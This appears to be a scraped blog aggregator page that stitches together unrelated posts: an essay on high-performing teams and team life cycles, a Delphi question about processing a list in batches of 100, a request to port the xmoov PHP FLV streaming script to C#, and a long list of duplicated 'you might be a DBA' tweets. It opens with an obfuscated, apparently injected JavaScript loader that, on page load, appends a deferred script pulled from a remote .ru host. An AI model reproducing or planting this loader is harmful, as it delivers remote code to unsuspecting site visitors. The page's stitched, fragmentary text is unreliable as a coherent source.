V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

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• Is your team is a high-performing team?

  As a child I can remember looking out of the car window as my father drove along the Interstate in Florida while seeing prisoners wearing bright orange jump suits and prison guards keeping a watchful eye on them. The prisoners were taking part in a prison road gang. These road gangs were formed to help the state maintain the state highway infrastructure. The prisoner’s primary responsibilities are to pick up trash and debris from the roadway. This is a prime example of a work group or working group used by most prison systems in the United States. Work groups or working groups can be defined as a collection of individuals or entities working together to achieve a specific goal or accomplish a specific set of tasks. Typically these groups are only established for a short period of time and are dissolved once the desired outcome has been achieved. More often than not group members usually feel as though they are expendable to the group and some even dread that they are even in the group. "A team is a small number of people with complementary skills who are committed to a common purpose, performance goals, and approach for which they are mutually accountable." (Katzenbach and Smith, 1993) So how do you determine that a team is a high-performing team?  This can be determined by three base line criteria that include: consistently high quality output, the promotion of personal growth and well being of all team members, and most importantly the ability to learn and grow as a unit. Initially, a team can successfully create high-performing output without meeting all three criteria, however this will erode over time because team members will feel detached from the group or that they are not growing then the quality of the output will decline. High performing teams are similar to work groups because they both utilize a collection of individuals or entities to accomplish tasks. What distinguish a high-performing team from a work group are its characteristics. High-performing teams contain five core characteristics. These characteristics are what separate a group from a team. The five characteristics of a high-performing team include: Purpose, Performance Measures, People with Tasks and Relationship Skills, Process, and Preparation and Practice. A high-performing team is much more than a work group, and typically has a life cycle that can vary from team to team. The standard team lifecycle consists of five states and is comparable to a human life cycle. The five states of a high-performing team lifecycle include: Formulating, Storming, Normalizing, Performing, and Adjourning. The Formulating State of a team is first realized when the team members are first defined and roles are assigned to all members. This initial stage is very important because it can set the tone for the team and can ultimately determine its success or failure. In addition, this stage requires the team to have a strong leader because team members are normally unclear about specific roles, specific obstacles and goals that my lay ahead of them.  Finally, this stage is where most team members initially meet one another prior to working as a team unless the team members already know each other. The Storming State normally arrives directly after the formulation of a new team because there are still a lot of unknowns amongst the newly formed assembly. As a general rule most of the parties involved in the team are still getting used to the workload, pace of work, deadlines and the validity of various tasks that need to be performed by the group.  In this state everything is questioned because there are so many unknowns. Items commonly questioned include the credentials of others on the team, the actual validity of a project, and the leadership abilities of the team leader.  This can be exemplified by looking at the interactions between animals when they first meet.  If we look at a scenario where two people are walking directly toward each other with their dogs. The dogs will automatically enter the Storming State because they do not know the other dog. Typically in this situation, they attempt to define which is more dominating via play or fighting depending on how the dogs interact with each other. Once dominance has been defined and accepted by both dogs then they will either want to play or leave depending on how the dogs interacted and other environmental variables. Once the Storming State has been realized then the Normalizing State takes over. This state is entered by a team once all the questions of the Storming State have been answered and the team has been tested by a few tasks or projects.  Typically, participants in the team are filled with energy, and comradery, and a strong alliance with team goals and objectives.  A high school football team is a perfect example of the Normalizing State when they start their season.  The player positions have been assigned, the depth chart has been filled and everyone is focused on winning each game. All of the players encourage and expect each other to perform at the best of their abilities and are united by competition from other teams. The Performing State is achieved by a team when its history, working habits, and culture solidify the team as one working unit. In this state team members can anticipate specific behaviors, attitudes, reactions, and challenges are seen as opportunities and not problems. Additionally, each team member knows their role in the team’s success, and the roles of others. This is the most productive state of a group and is where all the time invested working together really pays off. If you look at an Olympic figure skating team skate you can easily see how the time spent working together benefits their performance. They skate as one unit even though it is comprised of two skaters. Each skater has their routine completely memorized as well as their partners. This allows them to anticipate each other’s moves on the ice makes their skating look effortless. The final state of a team is the Adjourning State. This state is where accomplishments by the team and each individual team member are recognized. Additionally, this state also allows for reflection of the interactions between team members, work accomplished and challenges that were faced. Finally, the team celebrates the challenges they have faced and overcome as a unit. Currently in the workplace teams are divided into two different types: Co-located and Distributed Teams. Co-located teams defined as the traditional group of people working together in an office, according to Andy Singleton of Assembla. This traditional type of a team has dominated business in the past due to inadequate technology, which forced workers to primarily interact with one another via face to face meetings.  Team meetings are primarily lead by the person with the highest status in the company. Having personally, participated in meetings of this type, usually a select few of the team members dominate the flow of communication which reduces the input of others in group discussions. Since discussions are dominated by a select few individuals the discussions and group discussion are skewed in favor of the individuals who communicate the most in meetings. In addition, Team members might not give their full opinions on a topic of discussion in part not to offend or create controversy amongst the team and can alter decision made in meetings towards those of the opinions of the dominating team members. Distributed teams are by definition spread across an area or subdivided into separate sections. That is exactly what distributed teams when compared to a more traditional team. It is common place for distributed teams to have team members across town, in the next state, across the country and even with the advances in technology over the last 20 year across the world. These teams allow for more diversity compared to the other type of teams because they allow for more flexibility regarding location. A team could consist of a 30 year old male Italian project manager from New York, a 50 year old female Hispanic from California and a collection of programmers from India because technology allows them to communicate as if they were standing next to one another.  In addition, distributed team members consult with more team members prior to making decisions compared to traditional teams, and take longer to come to decisions due to the changes in time zones and cultural events. However, team members feel more empowered to speak out when they do not agree with the team and to notify others of potential issues regarding the work that the team is doing. Virtual teams which are a subset of the distributed team type is changing organizational strategies due to the fact that a team can now in essence be working 24 hrs a day because of utilizing employees in various time zones and locations.  A primary example of this is with customer services departments, a company can have multiple call centers spread across multiple time zones allowing them to appear to be open 24 hours a day while all a employees work from 9AM to 5 PM every day. Virtual teams also allow human resources departments to go after the best talent for the company regardless of where the potential employee works because they will be a part of a virtual team all that is need is the proper technology to be setup to allow everyone to communicate. In addition to allowing employees to work from home, the company can save space and resources by not having to provide a desk for every team member. In fact, those team members that randomly come into the office can actually share one desk amongst multiple people. This is definitely a cost cutting plus given the current state of the economy. One thing that can turn a team into a high-performing team is leadership. High-performing team leaders need to focus on investing in ongoing personal development, provide team members with direction, structure, and resources needed to accomplish their work, make the right interventions at the right time, and help the team manage boundaries between the team and various external parties involved in the teams work. A team leader needs to invest in ongoing personal development in order to effectively manage their team. People have said that attitude is everything; this is very true about leaders and leadership. A team takes on the attitudes and behaviors of its leaders. This can potentially harm the team and the team’s output. Leaders must concentrate on self-awareness, and understanding their team’s group dynamics to fully understand how to lead them. In addition, always learning new leadership techniques from other effective leaders is also very beneficial. Providing team members with direction, structure, and resources that they need to accomplish their work collectively sounds easy, but it is not.  Leaders need to be able to effectively communicate with their team on how their work helps the company reach for its organizational vision. Conversely, the leader needs to allow his team to work autonomously within specific guidelines to turn the company’s vision into a reality.  This being said the team must be appropriately staffed according to the size of the team’s tasks and their complexity. These tasks should be clear, and be meaningful to the company’s objectives and allow for feedback to be exchanged with the leader and the team member and the leader and upper management. Now if the team is properly staffed, and has a clear and full understanding of what is to be done; the company also must supply the workers with the proper tools to achieve the tasks that they are asked to do. No one should be asked to dig a hole without being given a shovel.  Finally, leaders must reward their team members for accomplishments that they achieve. Awards could range from just a simple congratulatory email, a party to close the completion of a large project, or other monetary rewards. Managing boundaries is very important for team leaders because it can alter attitudes of team members and can add undue stress to the team which will force them to loose focus on the tasks at hand for the group. Team leaders should promote communication between team members so that burdens are shared amongst the team and solutions can be derived from hearing the opinions of multiple sources. This also reinforces team camaraderie and working as a unit. Team leaders must manage the type and timing of interventions as to not create an even bigger mess within the team. Poorly timed interventions can really deflate team members and make them question themselves. This could really increase further and undue interventions by the team leader. Typically, the best time for interventions is when the team is just starting to form so that all unproductive behaviors are removed from the team and that it can retain focus on its agenda. If an intervention is effectively executed the team will feel energized about the work that they are doing, promote communication and interaction amongst the group and improve moral overall. High-performing teams are very import to organizations because they consistently produce high quality output and develop a collective purpose for their work. This drive to succeed allows team members to utilize specific talents allowing for growth in these areas.  In addition, these team members usually take on a sense of ownership with their projects and feel that the other team members are irreplaceable. References: http://blog.assembla.com/assemblablog/tabid/12618/bid/3127/Three-ways-to-organize-your-team-co-located-outsourced-or-global.aspx Katzenbach, J.R. & Smith, D.K. (1993). The Wisdom of Teams: Creating the High-performance Organization. Boston: Harvard Business School.

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• Delphi - Proper way to page though data.

  - by Brad

  I have a string list (TStrings) that has a couple thousand items in it. I need to process them in groups of 100. I basically want to know what the best way to do the loop is in Delphi. I'm hitting a brick wall when I'm trying to figure it out. Thanks unit Unit2; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm2 = class(TForm) Memo1: TMemo; Memo2: TMemo; Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form2: TForm2; implementation Uses math; {$R *.dfm} procedure TForm2.Button1Click(Sender: TObject); var I:Integer; pages:Integer; str:string; begin pages:= ceil(memo1.Lines.Count/100) ; memo2.Lines.add('Total Pages: '+inttostr(pages)); memo2.Lines.add('Total Items: '+inttostr(memo1.Lines.Count)); // Should just do in batches of 100 VS entire list for I := 0 to memo1.lines.Count - 1 do begin if str '' then str:= str+#10+ memo1.Lines.Strings[i] else str:= memo1.Lines.Strings[i]; end; //I need to stop here every 100 items, then process the items. memo2.Lines.Add(str); end; end. Example form object Form2: TForm2 Left = 0 Top = 0 Caption = 'Form2' ClientHeight = 245 ClientWidth = 527 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'Tahoma' Font.Style = [] OldCreateOrder = False PixelsPerInch = 96 TextHeight = 13 object Memo1: TMemo Left = 16 Top = 8 Width = 209 Height = 175 Lines.Strings = ( '4xlt columbia thunder storm jacket' '5 things about thunder storms' 'a thunder storm with a lot of thunder ' 'and lighting sccreensaver' 'a thunder storm with a lot of thunder ' 'and lighting screensaver with no nag ' 'screens' 'all about thunder storms' 'all about thunderstorms for kids' 'amazing tornado videos and ' 'thunderstorm videos' 'are thunder storms louder in ohio?' 'bad thunder storms' 'bathing in thunder storm' 'best thunderstorm pictures' 'cartoon thunder storms' 'celtic thunder storm' 'central valley thunder storm' 'chicago thunderstorm pictures' 'cool thunderstorm pictures' 'current thunderstorm warnings' 'does thunder storms in december mean ' 'snow will be coming' 'facts about thunderstorms for kids' 'facts on thunderstorms for kids' 'fedex thunderstorm video' 'florida thunderstorms facts' 'free relaxing thunderstorm music' 'free soothing thunderstorm sounds ' 'online' 'free thunderstorm mp3' 'free thunderstorm mp3 download' 'free thunderstorm mp3 downloads' 'free thunderstorm mp3s' 'free thunderstorm music' 'free thunderstorm pictures' 'free thunderstorm sound effects' 'free thunderstorm sounds' 'free thunderstorm sounds cd' 'free thunderstorm sounds mp3' 'free thunderstorm sounds online' 'free thunderstorm soundscape' 'free thunderstorm video' 'free thunderstorm video download' 'free thunderstorm videos' 'god of storm and thunder' 'horses storm thunder rain' 'how do thunder storms form' 'how far away is a thunder storm' 'how long do thunder storms last' 'ice cube in a thunder storm' 'indoor thunderstorm safety tips' 'information about thunderstorms for kids' 'interesting thunderstorm facts' 'is it dangerous to shower during thunder ' 'storm' 'is there frequently thunder during snow ' 'storms' 'isolated thunderstorms' 'it'#39's just a thunder storm baby there is ' 'nothing you should fear lyrics' 'lightning & thunder storm safety' 'lightning and thunderstorm facts' 'lightning and thunderstorms facts' 'lightning and thunderstorms for kids' 'listen to thunderstorm sounds online' 'mississauga thunder storm' 'nature sounds free mp3 thunder storm' 'only about thunderstorms facts' 'original storm deep thunderstick' 'phone use during thunder storms' 'pictures of thunderstorms' 'pocono thunder storm' 'posters of thunder storms' 'power rangers ninja storm' 'power rangers thunder storm' 'power rangers thunder storm cast' 'power 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'thunder storm clouds' 'thunder storm dog peppermint oil' 'thunder storm in winter' 'thunder storm in winter and weather ' 'prediction' 'thunder storm lx-3 & road blaster psx ' 'download' 'thunder storm occurances' 'thunder storm photos' 'thunder storm poems' 'thunder storm safety' 'thunder storm sign' 'thunder storm sounds' 'thunder storms' 'thunder storms and deaths' 'thunder storms and ilghting' 'thunder storms and lighting' 'thunder storms cd' 'thunder storms in the arctic arctic ' 'weather' 'thunder storms in winter' 'thunder storms on you tub' 'thunder storms pics' 'thunder storms with rain' 'thunderstorm' 'thunderstorm backgrounds' 'thunderstorm capital' 'thunderstorm capital 2008 dorfman' 'thunderstorm capital in boston' 'thunderstorm capital llc' 'thunderstorm capital of canada' 'thunderstorm capital of the us' 'thunderstorm capital of the world' 'thunderstorm facts' 'thunderstorm facts for kids' 'thunderstorm facts hail' 'thunderstorm facts tornadoes' 'thunderstorm mp3' 'thunderstorm mp3 download' 'thunderstorm mp3 download free' 'thunderstorm mp3 downloads' 'thunderstorm mp3 downloads free' 'thunderstorm mp3 files' 'thunderstorm mp3 free' 'thunderstorm mp3 free download' 'thunderstorm mp3 free downloads' 'thunderstorm mp3 torrent' 'thunderstorm mp3s' 'thunderstorm music' 'thunderstorm music cd' 'thunderstorm music downloads' 'thunderstorm music free' 'thunderstorm music playlists' 'thunderstorm music rain' 'thunderstorm pics' 'thunderstorm pictures' 'thunderstorm pictures for kids' 'thunderstorm safety' 'thunderstorm safety for kids' 'thunderstorm safety precautions' 'thunderstorm safety procedures' 'thunderstorm safety rules' 'thunderstorm safety tips' 'thunderstorm safety tips for kids' 'thunderstorm safety tips shelter' 'thunderstorm safety tips trees' 'thunderstorm sound effects' 'thunderstorm sound effects cd' 'thunderstorm sound effects download' 'thunderstorm sound effects free' 'thunderstorm sound effects free ' 'download' 'thunderstorm sound effects free music ' 'feature audio' 'thunderstorm sound effects mp3' 'thunderstorm sound effects rain' 'thunderstorm sounds' 'thunderstorm sounds cd' 'thunderstorm sounds download' 'thunderstorm sounds for sleep' 'thunderstorm sounds for sleeping' 'thunderstorm sounds free' 'thunderstorm sounds free download' 'thunderstorm sounds free downloads' 'thunderstorm sounds mp3' 'thunderstorm sounds mp3 download' 'thunderstorm sounds mp3 free' 'thunderstorm sounds online' 'thunderstorm sounds online for free' 'thunderstorm sounds online free' 'thunderstorm sounds sleep' 'thunderstorm sounds streaming' 'thunderstorm sounds torrent' 'thunderstorm soundscape' 'thunderstorm soundscapes' 'thunderstorm video' 'thunderstorm video clips' 'thunderstorm video download' 'thunderstorm video downloads' 'thunderstorm videos' 'thunderstorm videos for kids' 'thunderstorm videos lightning' 'thunderstorm videos online' 'thunderstorm wallpaper' 'thunderstorm warning' 'thunderstorm warning brisbane' 'thunderstorm warning definition' 'thunderstorm warning los angeles' 'thunderstorm warning san diego' 'thunderstorm warning san mateo county' 'thunderstorm warning santa barbara' 'thunderstorm warning santa clara' 'thunderstorm warning santa clara ' 'county' 'thunderstorm warning signal' 'thunderstorm warning signs' 'thunderstorm warning vs watch' 'thunderstorm warnings' 'thunderstorm warnings and watches' 'thunderstorm warnings for nj' 'thunderstorm warnings qld' 'thunderstorms' 'thunderstorms facts' 'thunderstorms facts for kids' 'thunderstorms for kids' 'tornados and thunder storms animated' 'understanding thunderstorms for kids' 'watch thunderstorm videos' 'weather underground forecast ' 'thunderstorms' 'what causes thunder storms' 'what is a thunder storm' 'where d thunder storms occur') TabOrder = 0 end object Memo2: TMemo Left = 240 Top = 8 Width = 265 Height = 129 Lines.Strings = ( 'Memo2') TabOrder = 1 end object Button1: TButton Left = 384 Top = 184 Width = 75 Height = 25 Caption = 'Button1' TabOrder = 2 OnClick = Button1Click end end

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• Where to find xmoov port to C#? (to make Http Pseudo Streaming from c# app)

  - by Ole Jak

  So I found this beautifull script for FLV video format Http Pseudo Streaming but in is in PHP ( found on http://stream.xmoov.com/ ) So does any one know opensource translations or can translate such PHP code into C#? <?php /* xmoov-php 1.0 Development version 0.9.3 beta by: Eric Lorenzo Benjamin jr. webmaster (AT) xmoov (DOT) com originally inspired by Stefan Richter at flashcomguru.com bandwidth limiting by Terry streamingflvcom (AT) dedicatedmanagers (DOT) com This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 3.0 License. For more information, visit http://creativecommons.org/licenses/by-nc-sa/3.0/ For the full license, visit http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode or send a letter to Creative Commons, 543 Howard Street, 5th Floor, San Francisco, California, 94105, USA. */ // SCRIPT CONFIGURATION //------------------------------------------------------------------------------------------ // MEDIA PATH // // you can configure these settings to point to video files outside the public html folder. //------------------------------------------------------------------------------------------ // points to server root define('XMOOV_PATH_ROOT', ''); // points to the folder containing the video files. define('XMOOV_PATH_FILES', 'video/'); //------------------------------------------------------------------------------------------ // SCRIPT BEHAVIOR //------------------------------------------------------------------------------------------ //set to TRUE to use bandwidth limiting. define('XMOOV_CONF_LIMIT_BANDWIDTH', TRUE); //set to FALSE to prohibit caching of video files. define('XMOOV_CONF_ALLOW_FILE_CACHE', FALSE); //------------------------------------------------------------------------------------------ // BANDWIDTH SETTINGS // // these settings are only needed when using bandwidth limiting. // // bandwidth is limited my sending a limited amount of video data(XMOOV_BW_PACKET_SIZE), // in specified time intervals(XMOOV_BW_PACKET_INTERVAL). // avoid time intervals over 1.5 seconds for best results. // // you can also control bandwidth limiting via http command using your video player. // the function getBandwidthLimit($part) holds three preconfigured presets(low, mid, high), // which can be changed to meet your needs //------------------------------------------------------------------------------------------ //set how many kilobytes will be sent per time interval define('XMOOV_BW_PACKET_SIZE', 90); //set the time interval in which data packets will be sent in seconds. define('XMOOV_BW_PACKET_INTERVAL', 0.3); //set to TRUE to control bandwidth externally via http. define('XMOOV_CONF_ALLOW_DYNAMIC_BANDWIDTH', TRUE); //------------------------------------------------------------------------------------------ // DYNAMIC BANDWIDTH CONTROL //------------------------------------------------------------------------------------------ function getBandwidthLimit($part) { switch($part) { case 'interval' : switch($_GET[XMOOV_GET_BANDWIDTH]) { case 'low' : return 1; break; case 'mid' : return 0.5; break; case 'high' : return 0.3; break; default : return XMOOV_BW_PACKET_INTERVAL; break; } break; case 'size' : switch($_GET[XMOOV_GET_BANDWIDTH]) { case 'low' : return 10; break; case 'mid' : return 40; break; case 'high' : return 90; break; default : return XMOOV_BW_PACKET_SIZE; break; } break; } } //------------------------------------------------------------------------------------------ // INCOMING GET VARIABLES CONFIGURATION // // use these settings to configure how video files, seek position and bandwidth settings are accessed by your player //------------------------------------------------------------------------------------------ define('XMOOV_GET_FILE', 'file'); define('XMOOV_GET_POSITION', 'position'); define('XMOOV_GET_AUTHENTICATION', 'key'); define('XMOOV_GET_BANDWIDTH', 'bw'); // END SCRIPT CONFIGURATION - do not change anything beyond this point if you do not know what you are doing //------------------------------------------------------------------------------------------ // PROCESS FILE REQUEST //------------------------------------------------------------------------------------------ if(isset($_GET[XMOOV_GET_FILE]) && isset($_GET[XMOOV_GET_POSITION])) { // PROCESS VARIABLES # get seek position $seekPos = intval($_GET[XMOOV_GET_POSITION]); # get file name $fileName = htmlspecialchars($_GET[XMOOV_GET_FILE]); # assemble file path $file = XMOOV_PATH_ROOT . XMOOV_PATH_FILES . $fileName; # assemble packet interval $packet_interval = (XMOOV_CONF_ALLOW_DYNAMIC_BANDWIDTH && isset($_GET[XMOOV_GET_BANDWIDTH])) ? getBandwidthLimit('interval') : XMOOV_BW_PACKET_INTERVAL; # assemble packet size $packet_size = ((XMOOV_CONF_ALLOW_DYNAMIC_BANDWIDTH && isset($_GET[XMOOV_GET_BANDWIDTH])) ? getBandwidthLimit('size') : XMOOV_BW_PACKET_SIZE) * 1042; # security improved by by TRUI www.trui.net if (!file_exists($file)) { print('<b>ERROR:</b> xmoov-php could not find (' . $fileName . ') please check your settings.'); exit(); } if(file_exists($file) && strrchr($fileName, '.') == '.flv' && strlen($fileName) > 2 && !eregi(basename($_SERVER['PHP_SELF']), $fileName) && ereg('^[^./][^/]*$', $fileName)) { # stay clean @ob_end_clean(); @set_time_limit(0); # keep binary data safe set_magic_quotes_runtime(0); $fh = fopen($file, 'rb') or die ('<b>ERROR:</b> xmoov-php could not open (' . $fileName . ')'); $fileSize = filesize($file) - (($seekPos > 0) ? $seekPos + 1 : 0); // SEND HEADERS if(!XMOOV_CONF_ALLOW_FILE_CACHE) { # prohibit caching (different methods for different clients) session_cache_limiter("nocache"); header("Expires: Thu, 19 Nov 1981 08:52:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); } # content headers header("Content-Type: video/x-flv"); header("Content-Disposition: attachment; filename=\"" . $fileName . "\""); header("Content-Length: " . $fileSize); # FLV file format header if($seekPos != 0) { print('FLV'); print(pack('C', 1)); print(pack('C', 1)); print(pack('N', 9)); print(pack('N', 9)); } # seek to requested file position fseek($fh, $seekPos); # output file while(!feof($fh)) { # use bandwidth limiting - by Terry if(XMOOV_CONF_LIMIT_BANDWIDTH) { # get start time list($usec, $sec) = explode(' ', microtime()); $time_start = ((float)$usec + (float)$sec); # output packet print(fread($fh, $packet_size)); # get end time list($usec, $sec) = explode(' ', microtime()); $time_stop = ((float)$usec + (float)$sec); # wait if output is slower than $packet_interval $time_difference = $time_stop - $time_start; # clean up @flush(); @ob_flush(); if($time_difference < (float)$packet_interval) { usleep((float)$packet_interval * 1000000 - (float)$time_difference * 1000000); } } else { # output file without bandwidth limiting print(fread($fh, filesize($file))); } } } } ?>

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• You Might Be a DBA

  - by BuckWoody

  With all apologies to Jeff Foxworthy, I was up late Friday night on a holiday weekend (which translated into T-SQL becomes “Maintenance Window”) and I got bored in between the two or three minutes I had between clicks. So I started a “Twitter” meme – and it just took off. I haven’t cleaned these up much, but here, in author order as of Saturday the 29th of May is the list “You might be a DBA” from around the Twitterverse: buckwoody Your two main enemies are developers and SAN admins #youmightbeaDBA  buckwoody People can use Access as a cross or garlic on you #youmightbeaDBA  buckwoody You always plan an exit strategy, even when entering a McDonald's #youmightbeaDBA  buckwoody You can't explain to your family what you really do for a living #youmightbeaDBA  buckwoody You have at least one set of scripts you won't share #youmightbeaDBA  buckwoody You have an opinion on the best code-beautifier #youmightbeaDBA  buckwoody You have children older than the rest of your team #youmightbeaDBA  buckwoody You and the Oracle DBA would kill each other, but you'll happily fight off a developer together first #youmightbeaDBA  buckwoody You've threatened to quit if they give anyone the sa password on production #youmightbeaDBA  buckwoody You've sent a vendor suggestions on improving their database design or code (and been ignored) #youmightbeaDBA  buckwoody You've sent a vendor suggestions on improving their database design or code (and been ignored) #youmightbeaDBA  buckwoody You have an opinion on the best code-beautifier #youmightbeaDBA  buckwoody You have at least one set of scripts you won't share #youmightbeaDBA  buckwoody You refer to co-workers as "carbon-units" #youmightbeaDBA  buckwoody Being paranoid is on your resume at the top #youmightbeaDBA  buckwoody Everyone comes to your cube to find the MSDN DVD's #youmightbeaDBA  buckwoody You always plan an exit strategy, even when entering a McDonald's #youmightbeaDBA  buckwoody You've worn down developers to get your way by explaining normalization levels #youmightbeaDBA  buckwoody You refer to clothes as "Data Abstractions" #youmightbeaDBA  buckwoody Users pester you to be able to put data in a database, then they pester you to take it out and put it in Excel #youmightbeaDBA  buckwoody Others try to de-duplicate data, you try to copy it to more than three locations #youmightbeaDBA  buckwoody You have at least one DLT tape in the trunk of your car #youmightbeaDBA  buckwoody You use twitter and facebook to talk with colleagues because there's no one else in your company that does what you do #youmightbeaDBA  buckwoody Your spouse knows what "ETL" means #youmightbeaDBA  buckwoody You've referred to yourself as the "Data Janitor" #youmightbeaDBA  buckwoody You don't have positive connotations of the word "upgrade" #youmightbeaDBA  buckwoody You get your coffee before you check your servers, because you know you won't get any if you don't #youmightbeaDBA  buckwoody You always come to work through the back door so no one hijacks you on the way to your cube #youmightbeaDBA  buckwoody You check your server logs before you check your e-mail in the morning so you can reply "Yeah, I already fixed that." #youmightbeaDBA  buckwoody You have more conference badges than clean socks #youmightbeaDBA  buckwoody Your coffee mug says "It depends" #youmightbeaDBA  buckwoody You can convince a boss that you need 16GB of RAM in your laptop #youmightbeaDBA  buckwoody You've used ebay to find production equipment #youmightbeaDBA  buckwoody You pad all project timelines by 2X, and you still miss them #youmightbeaDBA  buckwoody You know when your company is acquiring another even before the CFO #youmightbeaDBA  buckwoody You pad all project timelines by 2X, and you still miss them #youmightbeaDBA  buckwoody You call aspirin "work vitamins" #youmightbeaDBA  buckwoody You get the same amount of sleep even after you have a child #youmightbeaDBA  buckwoody You obsess about performance metrics from over one year ago #youmightbeaDBA  buckwoody The first thing you buy after the database software is aftermarket tools to manage the database software #youmightbeaDBA  buckwoody You've tried to convince someone else to become a DBA #youmightbeaDBA  buckwoody You use twitter and facebook to talk with colleagues because there's no one else in your company that does what you do #youmightbeaDBA  buckwoody You only know other DBA's by their Tweet Handle #youmightbeaDBA  buckwoody You've explained the difference between 32 and 64-bit to more than one manager in terms they can understand, using puppets #youmightbeaDBA  buckwoody Your two main enemies are developers and SAN admins #youmightbeaDBA  buckwoody You've driven to the Datacenter to install SQL Server because "you don't trust those NOC admins" #youmightbeaDBA  buckwoody You pay more for faster Internet connections than cable at home so you don't have to drive in #youmightbeaDBA  buckwoody You call texting a "queuing system" #youmightbeaDBA  buckwoody You know that if someone can read Perl, they manage an Oracle system #youmightbeaDBA  buckwoody You have an e-mail rule for backup notifications #youmightbeaDBA  buckwoody Your food pyramid includes coffee, salt and fat #youmightbeaDBA  buckwoody You wish everything had a graphical query plan #youmightbeaDBA  buckwoody You refactor your e-mails #youmightbeaDBA  buckwoody You've gotten more help from twitter and facebook than all your years in college #youmightbeaDBA  buckwoody You would pay money for a license plate that has the letters S-Q-L together #youmightbeaDBA  buckwoody You have actually considered making a RAID array from thumb drives #youmightbeaDBA  buckwoody Everything on your laptop is installed from your MSDN subscription #youmightbeaDBA  buckwoody You've written blog posts on technology you've never actually implemented in production #youmightbeaDBA  buckwoody Everything on your laptop is installed from your MSDN subscription #youmightbeaDBA  buckwoody @MidnightDBA Click the #youmightbeaDBA tag. I've had WAY too much coffee today.  buckwoody There is no other position that is 1-deep except you and the CEO #youmightbeaDBA  buckwoody When you watch "The Office" you call it "OJT" #youmightbeaDBA  buckwoody You would pay money for a license plate that has the letters S-Q-L together #youmightbeaDBA  buckwoody Your blog would make a "best practices" or "worst practices" book #youmightbeaDBA  buckwoody You have actually considered making a RAID array from thumb drives #youmightbeaDBA  buckwoody The first thing you install on your netbook is SSMS #youmightbeaDBA  buckwoody Everything on your laptop is installed from your MSDN subscription #youmightbeaDBA  buckwoody Your watch is set to UTC because it's just easier #youmightbeaDBA  buckwoody You make plenty of money, but you're excited to get a $2.00 squeeze-ball from Quest and Redgate #youmightbeaDBA  buckwoody You make plenty of money, but you're excited to get a $2.00 squeeze-ball from Quest and Redgate #youmightbeaDBA  buckwoody You think data can be represented as something OTHER than XML #youmightbeaDBA  buckwoody You tell people that you made a database query go faster, and expect them to be happy for you #youmightbeaDBA  buckwoody You take the word "NoSQL" as a personal attack #youmightbeaDBA  buckwoody People can use Access as a cross or garlic on you #youmightbeaDBA  buckwoody * == bad #youmightbeaDBA  buckwoody * == bad #youmightbeaDBA  buckwoody There are just as many females in your technical field as males #youmightbeaDBA  buckwoody People can use Access as a cross or garlic on you #youmightbeaDBA  buckwoody You've gotten more help from twitter and facebook than all your years in college #youmightbeaDBA  buckwoody You think that something OTHER than the database might be the performance bottleneck #youmightbeaDBA  buckwoody You refer to time as a "Clustered Index" #youmightbeaDBA  buckwoody You know why "user" refers to both business people and crack addicts #youmightbeaDBA  buckwoody You make plenty of money, but you're excited to get a $2.00 squeeze-ball from Quest and Redgate #youmightbeaDBA  buckwoody You can't explain to your family what you really do for a living #youmightbeaDBA  buckwoody You tell people that you made a database query go faster, and expect them to be happy for you #youmightbeaDBA  buckwoody You think a millisecond is a really long time #youmightbeaDBA  buckwoody You're sitting and typing #youmightbeaDBA when you could be outside #youmightbeaDBA  buckwoody You can't wait for a technical conference so you can wear a kilt - and you're not Scottish #youmightbeaDBA  buckwoody You know that "DBA" stands for "Default Blame Acceptor" #youmightbeaDBA  buckwoody People can use Access as a cross or garlic on you #youmightbeaDBA  buckwoody You know what "the truth, thole truth and nothing but the truth, so help me Codd" means #youmightbeaDBA  buckwoody You've gotten more help from twitter and facebook than all your years in college #youmightbeaDBA  buckwoody You can't talk fast enough to get a concept out of your head so you tweet it instead #youmightbeaDBA  buckwoody You cry when someone doesn't use a WHERE clause #youmightbeaDBA  buckwoody You think data can be represented as something OTHER than XML #youmightbeaDBA  buckwoody You think "Set theory" is not an verb but a noun #youmightbeaDBA  buckwoody You try to convince random strangers to vote on your Connect item #youmightbeaDBA  buckwoody You think 3 hours of contiguous sleep is a good thing #youmightbeaDBA or #youmightbeamother  buckwoody You don't like Oracle, and not just because of what she did to Neo #youmightbeaDBA  buckwoody You know when to say "sequel" and "s-q-l" #youmightbeaDBA  buckwoody You know where the data is #youmightbeaDBA  buckwoody You refer to your children as "Fully Redundant Mirrors" #youmightbeaDBA  buckwoody Holiday == "Maintenance Window" #youmightbeaDBA  buckwoody Your laptop is more powerful than the servers in most companies - including your own #youmightbeaDBA  buckwoody You capitalize SELECTed words #youmightbeaDBA  buckwoody You take the word "NoSQL" as a personal attack #youmightbeaDBA  buckwoody You know why "user" refers to both business people and crack addicts #youmightbeaDBA  buckwoody You cringe in public when the word "upgrade" is used in a sentence #youmightbeaDBA  buckwoody Holiday == "Maintenance Window" #youmightbeaDBA  buckwoody All Data Is MetaData means something to you #youmightbeaDBA 